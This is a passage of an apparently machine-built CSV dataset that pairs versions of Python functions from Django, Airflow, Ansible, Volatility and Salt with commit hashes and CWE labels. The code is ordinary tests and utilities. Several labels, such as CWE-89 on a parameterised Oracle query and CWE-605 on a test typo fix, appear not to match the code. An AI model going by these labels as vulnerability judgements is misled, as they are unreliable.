            assert op.subdag == subdag"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/ordering/tests.py,0,"def test_order_by_f_expression_duplicates(self):
        """"""
        A column may only be included once (the first occurrence) so we check
        to ensure there are no duplicates by inspecting the SQL.
        """"""
        qs = Article.objects.order_by(F('headline').asc(), F('headline').desc())
        sql = str(qs.query).upper()
        fragment = sql[sql.find('ORDER BY'):]
        self.assertEqual(fragment.count('HEADLINE'), 1)
        self.assertQuerysetEqual(
            qs, [
                ""Article 1"",
                ""Article 2"",
                ""Article 3"",
                ""Article 4"",
            ],
            attrgetter(""headline"")
        )
        qs = Article.objects.order_by(F('headline').desc(), F('headline').asc())
        sql = str(qs.query).upper()
        fragment = sql[sql.find('ORDER BY'):]
        self.assertEqual(fragment.count('HEADLINE'), 1)
        self.assertQuerysetEqual(
            qs, [
                ""Article 4"",
                ""Article 3"",
                ""Article 2"",
                ""Article 1"",
            ],
            attrgetter(""headline"")
        )",CWE-Unknown,django/django,f6075fb333bae29ee213b050e91eaadef75496dd,"def test_order_by_f_expression_duplicates(self):
        """"""
        A column may only be included once (the first occurrence) so we check
        to ensure there are no duplicates by inspecting the SQL.
        """"""
        qs = Article.objects.order_by(F('headline').asc(), F('headline').desc())
        sql = str(qs.query).upper()
        fragment = sql[sql.find('ORDER BY'):]
        self.assertEqual(fragment.count('HEADLINE'), 1)
        self.assertQuerysetEqual(
            qs, [
                ""Article 1"",
                ""Article 2"",
                ""Article 3"",
                ""Article 4"",
            ],
            attrgetter(""headline"")
        )
        qs = Article.objects.order_by(F('headline').desc(), F('headline').asc())
        sql = str(qs.query).upper()
        fragment = sql[sql.find('ORDER BY'):]
        self.assertEqual(fragment.count('HEADLINE'), 1)
        self.assertQuerysetEqual(
            qs, [
                ""Article 4"",
                ""Article 3"",
                ""Article 2"",
                ""Article 1"",
            ],
            attrgetter(""headline"")
        )"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_dags.py,1,"def test_dag_details(
        self, test_client, query_params, dag_id, expected_status_code, dag_display_name, start_date
    ):
        response = test_client.get(f""/public/dags/{dag_id}/details"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return

        # Match expected and actual responses below.
        res_json = response.json()
        last_parsed = res_json[""last_parsed""]
        last_parsed_time = res_json[""last_parsed_time""]
        file_token = res_json[""file_token""]
        expected = {
            ""asset_expression"": None,
            ""catchup"": True,
            ""concurrency"": 16,
            ""dag_id"": dag_id,
            ""dag_display_name"": dag_display_name,
            ""dag_run_timeout"": None,
            ""default_view"": ""grid"",
            ""description"": None,
            ""doc_md"": ""details"",
            ""end_date"": None,
            ""fileloc"": __file__,
            ""file_token"": file_token,
            ""has_import_errors"": False,
            ""has_task_concurrency_limits"": True,
            ""is_active"": True,
            ""is_paused"": False,
            ""is_paused_upon_creation"": None,
            ""last_expired"": None,
            ""last_parsed"": last_parsed,
            ""last_parsed_time"": last_parsed_time,
            ""max_active_runs"": 16,
            ""max_active_tasks"": 16,
            ""max_consecutive_failed_dag_runs"": 0,
            ""next_dagrun_data_interval_end"": None,
            ""next_dagrun_data_interval_start"": None,
            ""next_dagrun_logical_date"": None,
            ""next_dagrun_run_after"": None,
            ""owners"": [""airflow""],
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.sdk.definitions.param.Param"",
                    ""description"": None,
                    ""schema"": {},
                    ""value"": 1,
                }
            },
            ""render_template_as_native_obj"": False,
            ""timetable_summary"": None,
            ""start_date"": start_date,
            ""tags"": [],
            ""template_search_path"": None,
            ""timetable_description"": ""Never, external triggers only"",
            ""timezone"": UTC_JSON_REPR,
        }
        assert res_json == expected",CWE-703,apache/airflow,d48657dd6948bd30a3d94e44d82b8e908973efa6,"def test_dag_details(
        self, test_client, query_params, dag_id, expected_status_code, dag_display_name, start_date
    ):
        response = test_client.get(f""/public/dags/{dag_id}/details"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return

        # Match expected and actual responses below.
        res_json = response.json()
        last_parsed = res_json[""last_parsed""]
        last_parsed_time = res_json[""last_parsed_time""]
        file_token = res_json[""file_token""]
        expected = {
            ""asset_expression"": None,
            ""catchup"": True,
            ""concurrency"": 16,
            ""dag_id"": dag_id,
            ""dag_display_name"": dag_display_name,
            ""dag_run_timeout"": None,
            ""default_view"": ""grid"",
            ""description"": None,
            ""doc_md"": ""details"",
            ""end_date"": None,
            ""fileloc"": __file__,
            ""file_token"": file_token,
            ""has_import_errors"": False,
            ""has_task_concurrency_limits"": True,
            ""is_active"": True,
            ""is_paused"": False,
            ""is_paused_upon_creation"": None,
            ""last_expired"": None,
            ""last_parsed"": last_parsed,
            ""last_parsed_time"": last_parsed_time,
            ""max_active_runs"": 16,
            ""max_active_tasks"": 16,
            ""max_consecutive_failed_dag_runs"": 0,
            ""next_dagrun"": None,
            ""next_dagrun_create_after"": None,
            ""next_dagrun_data_interval_end"": None,
            ""next_dagrun_data_interval_start"": None,
            ""owners"": [""airflow""],
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.sdk.definitions.param.Param"",
                    ""description"": None,
                    ""schema"": {},
                    ""value"": 1,
                }
            },
            ""render_template_as_native_obj"": False,
            ""timetable_summary"": None,
            ""start_date"": start_date,
            ""tags"": [],
            ""template_search_path"": None,
            ""timetable_description"": ""Never, external triggers only"",
            ""timezone"": UTC_JSON_REPR,
        }
        assert res_json == expected"
,UNKNOWN,UNKNOWN,tests/utils/test_log_handlers.py,1,"def test__read_when_local(self, mock_read_local, create_task_instance):
        """"""
        Test if local log file exists, then values returned from _read_from_local should be incorporated
        into returned log.
        """"""
        path = Path(
            ""dag_id=dag_for_testing_local_log_read/run_id=scheduled__2016-01-01T00:00:00+00:00/task_id=task_for_testing_local_log_read/attempt=1.log""
        )
        mock_read_local.return_value = ([""the messages""], [""the log""])
        local_log_file_read = create_task_instance(
            dag_id=""dag_for_testing_local_log_read"",
            task_id=""task_for_testing_local_log_read"",
            run_type=DagRunType.SCHEDULED,
            execution_date=DEFAULT_DATE,
        )
        fth = FileTaskHandler("""")
        actual = fth._read(ti=local_log_file_read, try_number=1)
        mock_read_local.assert_called_with(path)
        assert actual == (""*** the messages\nthe log"", {""end_of_log"": True, ""log_pos"": 7})",CWE-703,apache/airflow,94dbc39ffcd85afebcd744ace84637f752ced086,"def test__read_when_local(self, mock_read_local, create_task_instance):
        """"""
        Test if local log file exists, then values returned from _read_from_local should be incorporated
        into returned log.
        """"""
        path = Path(
            ""dag_id=dag_for_testing_local_log_read/run_id=scheduled__2016-01-01T00:00:00+00:00/task_id=task_for_testing_local_log_read/attempt=1.log""  # noqa: E501
        )
        mock_read_local.return_value = ([""the messages""], [""the log""])
        local_log_file_read = create_task_instance(
            dag_id=""dag_for_testing_local_log_read"",
            task_id=""task_for_testing_local_log_read"",
            run_type=DagRunType.SCHEDULED,
            execution_date=DEFAULT_DATE,
        )
        fth = FileTaskHandler("""")
        actual = fth._read(ti=local_log_file_read, try_number=1)
        mock_read_local.assert_called_with(path)
        assert actual == (""*** the messages\nthe log"", {""end_of_log"": True, ""log_pos"": 7})"
,UNKNOWN,UNKNOWN,test/units/modules/network/radware/test_vdirect_runnable.py,1,"def test_run(self, *args):
        with patch.dict('sys.modules', **{
            'vdirect_client': self.module_mock,
            'vdirect_client.rest_client': self.module_mock,
        }):
            from ansible.modules.network.radware import vdirect_runnable

            Runnable.set_runnable_objects_result(RUNNABLE_OBJECTS_RESULT)

            BASE_PARAMS.update(RUNNABLE_PARAMS)

            BASE_PARAMS['runnable_type'] = vdirect_runnable.CONFIGURATION_TEMPLATE_RUNNABLE_TYPE
            BASE_PARAMS['parameters'] = {""pin"": ""x"", ""alteon"": ""x""}
            vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
            vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
            Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
            Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
            Runnable.set_run_result(RUN_RESULT)
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_TEMPLATE_RUNNABLE_TYPE
            MODULE_RESULT['msg'] = ""Workflow created.""
            vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
            vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_RUNNABLE_TYPE
            BASE_PARAMS['action_name'] = 'a'
            MODULE_RESULT['msg'] = ""Workflow action run completed.""
            vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
            vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
            Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
            Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            result_parameters = {""param1"": ""value1"", ""param2"": ""value2""}
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA]['parameters'] = result_parameters
            MODULE_RESULT['parameters'] = result_parameters
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            RUN_RESULT[self.module_mock.rest_client.RESP_DATA]['status'] = 404
            vdirectRunnable.run()
            assert res == MODULE_RESULT

            RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 400
            RUN_RESULT[self.module_mock.rest_client.RESP_REASON] = ""Reason""
            RUN_RESULT[self.module_mock.rest_client.RESP_STR] = ""Details""
            try:
                vdirectRunnable.run()
                self.fail(""RunnableException was not thrown for failed run."")
            except vdirect_runnable.RunnableException as e:
                assert str(e) == ""Reason: Reason. Details:Details.""

            RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 200
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""status""] = 400
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""success""] = False
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""exception""] = {""message"": ""exception message""}
            try:
                vdirectRunnable.run()
                self.fail(""RunnableException was not thrown for failed run."")
            except vdirect_runnable.RunnableException as e:
                assert str(e) == ""Reason: exception message. Details:Details.""",CWE-703,ansible/ansible,e73d3dfe20380a0bdfe213496654c1a8207c7ab7,"def test_run(self, *args):
        with patch.dict('sys.modules', **{
            'vdirect_client': self.module_mock,
            'vdirect_client.rest_client': self.module_mock,
        }):
            from ansible.modules.network.radware import vdirect_runnable

            Runnable.set_runnable_objects_result(RUNNABLE_OBJECTS_RESULT)

            BASE_PARAMS.update(RUNNABLE_PARAMS)

            BASE_PARAMS['runnable_type'] = vdirect_runnable.CONFIGURATION_TEMPLATE_RUNNABLE_TYPE
            BASE_PARAMS['parameters'] = {""pin"": ""x"", ""alteon"": ""x""}
            vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
            vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
            Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
            Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
            Runnable.set_run_result(RUN_RESULT)
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_TEMPLATE_RUNNABLE_TYPE
            MODULE_RESULT['msg'] = ""Workflow created.""
            vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
            vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            BASE_PARAMS['runnable_type'] = vdirect_runnable.WORKFLOW_RUNNABLE_TYPE
            BASE_PARAMS['action_name'] = 'a'
            MODULE_RESULT['msg'] = ""Workflow action run completed.""
            vdirectRunnable = vdirect_runnable.VdirectRunnable(BASE_PARAMS)
            vdirectRunnable.client.runnable = Runnable(vdirectRunnable.client)
            Runnable.set_available_actions_result(AVAILABLE_ACTIONS_RESULT)
            Runnable.set_action_info_result(ACTIONS_PARAMS_RESULT)
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            result_parameters = {""param1"": ""value1"", ""param2"": ""value2""}
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA]['parameters'] = result_parameters
            MODULE_RESULT['parameters'] = result_parameters
            res = vdirectRunnable.run()
            assert res == MODULE_RESULT

            RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 400
            RUN_RESULT[self.module_mock.rest_client.RESP_REASON] = ""Reason""
            RUN_RESULT[self.module_mock.rest_client.RESP_STR] = ""Details""
            try:
                vdirectRunnable.run()
                self.fail(""RunnableException was not thrown for failed run."")
            except vdirect_runnable.RunnableException as e:
                assert str(e) == ""Reason: Reason. Details:Details.""

            RUN_RESULT[self.module_mock.rest_client.RESP_STATUS] = 200
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""status""] = 400
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""success""] = False
            RUN_RESULT[self.module_mock.rest_client.RESP_DATA][""exception""] = {""message"": ""exception message""}
            try:
                vdirectRunnable.run()
                self.fail(""RunnableException was not thrown for failed run."")
            except vdirect_runnable.RunnableException as e:
                assert str(e) == ""Reason: exception message. Details:Details."""
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/svcscan.py,0,"def modification(self, profile):
        profile.merge_overlay({'_SERVICE_RECORD': [ None, {
            'PrevEntry': [ 0x0, ['pointer', ['_SERVICE_RECORD']]],
            'ServiceName': [ 0x8, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
            'DisplayName': [ 0x10, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
            'Order': [ 0x18, ['unsigned int']],
            'ServiceProcess': [ 0x28, ['pointer', ['_SERVICE_PROCESS']]],
            'DriverName': [ 0x28, ['pointer', ['String', dict(encoding = 'utf16', length = 256)]]],
            'Type' : [ 0x30, ['Flags', {'bitmap': SERVICE_TYPE_FLAGS}]],
            'State': [ 0x34, ['Enumeration', dict(target = 'long', choices = SERVICE_STATE_ENUM)]],
            }]})",,volatilityfoundation/volatility,739f951a05ec57290c31787a8baa77570ff312f9,"def modification(self, profile):
        profile.merge_overlay({'_SERVICE_RECORD': [ None, {
            'PrevEntry': [ 0x0, ['pointer', ['_SERVICE_RECORD']]],
            'ServiceName': [ 0x8, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
            'DisplayName': [ 0x10, ['pointer', ['String', dict(encoding = 'utf16', length = 512)]]],
            'Order': [ 0x18, ['unsigned int']],
            'ServiceProcess': [ 0x28, ['pointer', ['_SERVICE_PROCESS']]],
            'DriverName': [ 0x28, ['pointer', ['String', dict(encoding = 'utf16', length = 256)]]],
            'Type' : [ 0x30, ['Flags', {'bitmap': SERVICE_TYPE_FLAGS}]],
            'State': [ 0x34, ['Enumeration', dict(target = 'long', choices = SERVICE_STATE_ENUM)]],
            }]})"
,UNKNOWN,UNKNOWN,tests/unit/modules/boto_vpc_test.py,1,"def test_get_subnet_association_multiple_subnets_different_vpc(self):
        '''
        tests that given multiple subnet ids in different VPCs that False is
        returned.
        '''
        vpc_a = self._create_vpc()
        vpc_b = self.conn.create_vpc(cidr_block)
        subnet_a = self._create_subnet(vpc_a.id, '10.0.0.0/24')
        subnet_b = self._create_subnet(vpc_b.id, '10.0.0.0/24')
        subnet_association = boto_vpc.get_subnet_association([subnet_a.id, subnet_b.id],
                                                            **conn_parameters)
        self.assertFalse(subnet_association)",CWE-605,saltstack/salt,656817141c10899cc1243128807b2b4cbe736264,"def test_get_subnet_association_multiple_subnets_different_vpc(self):
        '''
        tests that given multiple subnet ids in different VPCs that False is
        returned.
        '''
        vpc_a = self._create_vpc()
        vpc_b = self.conn.create_vpc(cidr_block)
        subnet_a = self._create_subnet(vpc_a.id, '10.0.0.0/24')
        subnet_b = self._create_subnet(vpc_b.id, '10.0.0.0/24')
        subnet_assocation = boto_vpc.get_subnet_association([subnet_a.id, subnet_b.id],
                                                            **conn_parameters)
        self.assertFalse(subnet_assocation)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/integration/cloud/clouds/test_vultrpy.py,0,"def test_list_sizes(self):
        """"""
        Tests the return of running the --list-sizes command for Vultr
        """"""
        size_list = self.run_cloud(""--list-sizes {}"".format(self.PROVIDER))
        self.assertIn(
            ""2048 MB RAM,55 GB SSD,2.00 TB BW"", [i.strip() for i in size_list]
        )",,saltstack/salt,12080ba5c9528c8bcb1d0210004dee22f15884d3,"def test_list_sizes(self):
        """"""
        Tests the return of running the --list-sizes command for Vultr
        """"""
        size_list = self.run_cloud(""--list-sizes {}"".format(self.PROVIDER))
        self.assertIn(
            ""2048 MB RAM,64 GB SSD,2.00 TB BW"", [i.strip() for i in size_list]
        )"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """"""
        constraints = {}
        # Loop over the constraints, getting PKs, uniques, and checks
        cursor.execute(""""""
            SELECT
                user_constraints.constraint_name,
                LOWER(cols.column_name) AS column_name,
                CASE user_constraints.constraint_type
                    WHEN 'P' THEN 1
                    ELSE 0
                END AS is_primary_key,
                CASE
                    WHEN EXISTS (
                        SELECT 1
                        FROM user_indexes
                        WHERE user_indexes.index_name = user_constraints.index_name
                        AND user_indexes.uniqueness = 'UNIQUE'
                    )
                    THEN 1
                    ELSE 0
                END AS is_unique,
                CASE user_constraints.constraint_type
                    WHEN 'C' THEN 1
                    ELSE 0
                END AS is_check_constraint,
                CASE
                    WHEN user_constraints.constraint_type IN ('P', 'U') THEN 1
                    ELSE 0
                END AS has_index
            FROM
                user_constraints
            LEFT OUTER JOIN
                user_cons_columns cols ON user_constraints.constraint_name = cols.constraint_name
            WHERE
                user_constraints.constraint_type = ANY('P', 'U', 'C')
                AND user_constraints.table_name = UPPER(%s)
            ORDER BY cols.position
        """""", [table_name])
        for constraint, column, pk, unique, check, index in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    ""columns"": [],
                    ""primary_key"": pk,
                    ""unique"": unique,
                    ""foreign_key"": None,
                    ""check"": check,
                    ""index"": index,  # All P and U come with index
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Foreign key constraints
        cursor.execute(""""""
            SELECT
                cons.constraint_name,
                LOWER(cols.column_name) AS column_name,
                LOWER(rcons.table_name),
                LOWER(rcols.column_name)
            FROM
                user_constraints cons
            INNER JOIN
                user_constraints rcons ON cons.r_constraint_name = rcons.constraint_name
            INNER JOIN
                user_cons_columns rcols ON rcols.constraint_name = rcons.constraint_name
            LEFT OUTER JOIN
                user_cons_columns cols ON cons.constraint_name = cols.constraint_name
            WHERE
                cons.constraint_type = 'R' AND
                cons.table_name = UPPER(%s)
            ORDER BY cols.position
        """""", [table_name])
        for constraint, column, other_table, other_column in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    ""columns"": [],
                    ""primary_key"": False,
                    ""unique"": False,
                    ""foreign_key"": (other_table, other_column),
                    ""check"": False,
                    ""index"": False,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Now get indexes
        cursor.execute(""""""
            SELECT
                cols.index_name, LOWER(cols.column_name), cols.descend,
                LOWER(ind.index_type)
            FROM
                user_ind_columns cols, user_indexes ind
            WHERE
                cols.table_name = UPPER(%s) AND
                NOT EXISTS (
                    SELECT 1
                    FROM user_constraints cons
                    WHERE cols.index_name = cons.index_name
                ) AND cols.index_name = ind.index_name
            ORDER BY cols.column_position
        """""", [table_name])
        for constraint, column, order, type_ in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    ""columns"": [],
                    ""orders"": [],
                    ""primary_key"": False,
                    ""unique"": False,
                    ""foreign_key"": None,
                    ""check"": False,
                    ""index"": True,
                    ""type"": 'btree' if type_ == 'normal' else type_,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
            constraints[constraint]['orders'].append(order)
        return constraints",CWE-89,django/django,5a772a0b7bf71128287396d310ddd3db13625a1f,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """"""
        constraints = {}
        # Loop over the constraints, getting PKs and uniques
        cursor.execute(""""""
            SELECT
                user_constraints.constraint_name,
                LOWER(cols.column_name) AS column_name,
                CASE user_constraints.constraint_type
                    WHEN 'P' THEN 1
                    ELSE 0
                END AS is_primary_key,
                CASE user_indexes.uniqueness
                    WHEN 'UNIQUE' THEN 1
                    ELSE 0
                END AS is_unique,
                CASE user_constraints.constraint_type
                    WHEN 'C' THEN 1
                    ELSE 0
                END AS is_check_constraint
            FROM
                user_constraints
            INNER JOIN
                user_indexes ON user_indexes.index_name = user_constraints.index_name
            LEFT OUTER JOIN
                user_cons_columns cols ON user_constraints.constraint_name = cols.constraint_name
            WHERE
                (
                    user_constraints.constraint_type = 'P' OR
                    user_constraints.constraint_type = 'U'
                )
                AND user_constraints.table_name = UPPER(%s)
            ORDER BY cols.position
        """""", [table_name])
        for constraint, column, pk, unique, check in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    ""columns"": [],
                    ""primary_key"": pk,
                    ""unique"": unique,
                    ""foreign_key"": None,
                    ""check"": check,
                    ""index"": True,  # All P and U come with index, see inner join above
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Check constraints
        cursor.execute(""""""
            SELECT
                cons.constraint_name,
                LOWER(cols.column_name) AS column_name
            FROM
                user_constraints cons
            LEFT OUTER JOIN
                user_cons_columns cols ON cons.constraint_name = cols.constraint_name
            WHERE
                cons.constraint_type = 'C' AND
                cons.table_name = UPPER(%s)
            ORDER BY cols.position
        """""", [table_name])
        for constraint, column in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    ""columns"": [],
                    ""primary_key"": False,
                    ""unique"": False,
                    ""foreign_key"": None,
                    ""check"": True,
                    ""index"": False,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Foreign key constraints
        cursor.execute(""""""
            SELECT
                cons.constraint_name,
                LOWER(cols.column_name) AS column_name,
                LOWER(rcons.table_name),
                LOWER(rcols.column_name)
            FROM
                user_constraints cons
            INNER JOIN
                user_constraints rcons ON cons.r_constraint_name = rcons.constraint_name
            INNER JOIN
                user_cons_columns rcols ON rcols.constraint_name = rcons.constraint_name
            LEFT OUTER JOIN
                user_cons_columns cols ON cons.constraint_name = cols.constraint_name
            WHERE
                cons.constraint_type = 'R' AND
                cons.table_name = UPPER(%s)
            ORDER BY cols.position
        """""", [table_name])
        for constraint, column, other_table, other_column in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    ""columns"": [],
                    ""primary_key"": False,
                    ""unique"": False,
                    ""foreign_key"": (other_table, other_column),
                    ""check"": False,
                    ""index"": False,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Now get indexes
        cursor.execute(""""""
            SELECT
                cols.index_name, LOWER(cols.column_name), cols.descend,
                LOWER(ind.index_type)
            FROM
                user_ind_columns cols, user_indexes ind
            WHERE
                cols.table_name = UPPER(%s) AND
                NOT EXISTS (
                    SELECT 1
                    FROM user_constraints cons
                    WHERE cols.index_name = cons.index_name
                ) AND cols.index_name = ind.index_name
            ORDER BY cols.column_position
        """""", [table_name])
        for constraint, column, order, type_ in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    ""columns"": [],
                    ""orders"": [],
                    ""primary_key"": False,
                    ""unique"": False,
                    ""foreign_key"": None,
                    ""check"": False,
                    ""index"": True,
                    ""type"": 'btree' if type_ == 'normal' else type_,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
            constraints[constraint]['orders'].append(order)
        return constraints"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/web_infrastructure/ansible_tower/tower_job_template.py,0,"def update_fields(p):
    '''This updates the module field names
    to match the field names tower-cli expects to make
    calling of the modify/delete methods easier.
    '''
    params = p.copy()
    field_map = {
        'ask_extra_vars': 'ask_variables_on_launch',
        'ask_limit' :'ask_limit_on_launch',
        'ask_tags': 'ask_tags_on_launch',
        'ask_job_type': 'ask_job_type_on_launch',
        'machine_credential': 'credential',
    }

    params_update = {}
    for old_k, new_k in field_map.items():
        v = params.pop(old_k)
        params_update[new_k] = v

    extra_vars = params.get('extra_vars_path')
    if extra_vars is not None:
        params_update['extra_vars'] = ['@' + extra_vars]

    params.update(params_update)
    return params",,ansible/ansible,a09fbb4b15ac1933a8f26e479e15ab8358a8a5b2,"def update_fields(p):
    '''This updates the module field names
    to match the field names tower-cli expects to make
    calling of the modify/delete methods easier.
    '''
    params = p.copy()
    field_map = {
        'ask_extra_vars': 'ask_variables_on_launch',
        'ask_limit' :'ask_limit_on_launch',
        'ask_tags': 'ask_tags_on_launch',
        'ask_job_type': 'ask_job_type_on_launch',
        'machine_credential': 'credential',
    }

    params_update = {}
    for old_k, new_k in field_map.items():
        v = params.pop(old_k)
        params_update[new_k] = v

    extra_vars = params.get('extra_vars_path')
    if extra_vars is not None:
        params_update['extra_vars'] = '@' + extra_vars

    params.update(params_update)
    return params"
,UNKNOWN,UNKNOWN,salt/modules/mine.py,1,"def get_docker(interfaces=None, cidrs=None):
    '''
    Get all mine data for 'docker.get_containers' and run an aggregation
    routine. The ""interfaces"" parameter allows for specifying which network
    interfaces to select ip addresses from. The ""cidrs"" parameter allows for
    specifying a list of cidrs which the ip address must match.

    CLI Example:

    .. code-block:: bash

        salt '*' mine.get_docker
        salt '*' mine.get_docker interfaces='eth0'
        salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]'
        salt '*' mine.get_docker cidrs='107.170.147.0/24'
        salt '*' mine.get_docker cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
        salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]' cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
    '''
    # Enforce that interface and cidr are lists
    if interfaces:
        interface_ = []
        interface_.extend(interfaces if isinstance(interfaces, list) else [interfaces])
        interfaces = interface_
    if cidrs:
        cidr_ = []
        cidr_.extend(cidrs if isinstance(cidrs, list) else [cidrs])
        cidrs = cidr_

    # Get docker info
    cmd = 'docker.get_containers'
    docker_hosts = get('*', cmd)

    proxy_lists = {}

    # Process docker info
    for host, containers in docker_hosts.items():
        host_ips = []

        # Prepare host_ips list
        if not interfaces:
            for iface, info in containers['host']['interfaces'].items():
                if 'inet' in info:
                    for ip_ in info['inet']:
                        host_ips.append(ip_['address'])
        else:
            for interface in interfaces:
                if interface in containers['host']['interfaces']:
                    for item in containers['host']['interfaces'][interface]['inet']:
                        host_ips.append(item['address'])
        host_ips = list(set(host_ips))

        # Filter out ips from host_ips with cidrs
        if cidrs:
            good_ips = []
            for cidr in cidrs:
                for ip_ in host_ips:
                    if salt.utils.network.in_subnet(cidr, [ip_]):
                        good_ips.append(ip_)
            host_ips = list(set(good_ips))

        # Process each container
        if containers['out']:
            for container in containers['out']:
                if container['Image'] not in proxy_lists:
                    proxy_lists[container['Image']] = {}
                for dock_port in container['Ports']:
                    # If port is 0.0.0.0, then we must get the docker host IP
                    if dock_port['IP'] == '0.0.0.0':
                        for ip_ in host_ips:
                            proxy_lists[container['Image']].setdefault('ipv4', {}).setdefault(dock_port['PrivatePort'], []).append(
                                '{0}:{1}'.format(ip_, dock_port['PublicPort']))
                            proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']] = list(set(proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']]))
                    elif dock_port['IP']:
                        proxy_lists[container['Image']].setdefault('ipv4', {}).setdefault(dock_port['PrivatePort'], []).append(
                            '{0}:{1}'.format(dock_port['IP'], dock_port['PublicPort']))
                        proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']] = list(set(proxy_lists[container['Image']]['ipv4'][dock_port['PrivatePort']]))
    return proxy_lists",CWE-605,saltstack/salt,c84a2ccacdf62bc89b9cd75486ee03e7e485990d,"def get_docker(interfaces=None, cidrs=None):
    '''
    Get all mine data for 'docker.get_containers' and run an aggregation
    routine. The ""interfaces"" parameter allows for specifying which network
    interfaces to select ip addresses from. The ""cidrs"" parameter allows for
    specifying a list of cidrs which the ip address must match.

    CLI Example:

    .. code-block:: bash

        salt '*' mine.get_docker
        salt '*' mine.get_docker interfaces='eth0'
        salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]'
        salt '*' mine.get_docker cidrs='107.170.147.0/24'
        salt '*' mine.get_docker cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
        salt '*' mine.get_docker interfaces='[""eth0"", ""eth1""]' cidrs='[""107.170.147.0/24"", ""172.17.42.0/24""]'
    '''
    # Enforce that interface and cidr are lists
    if interfaces:
        interface_ = []
        interface_.extend(interfaces if isinstance(interfaces, list) else [interfaces])
        interfaces = interface_
    if cidrs:
        cidr_ = []
        cidr_.extend(cidrs if isinstance(cidrs, list) else [cidrs])
        cidrs = cidr_

    # Get docker info
    cmd = 'docker.get_containers'
    docker_hosts = get('*', cmd)

    proxy_lists = {}

    # Process docker info
    for host, containers in docker_hosts.items():
        host_ips = []

        # Prepare host_ips list
        if not interfaces:
            for iface, info in containers['host']['interfaces'].items():
                if 'inet' in info:
                    for ip_ in info['inet']:
                        host_ips.append(ip_['address'])
        else:
            for interface in interfaces:
                if interface in containers['host']['interfaces']:
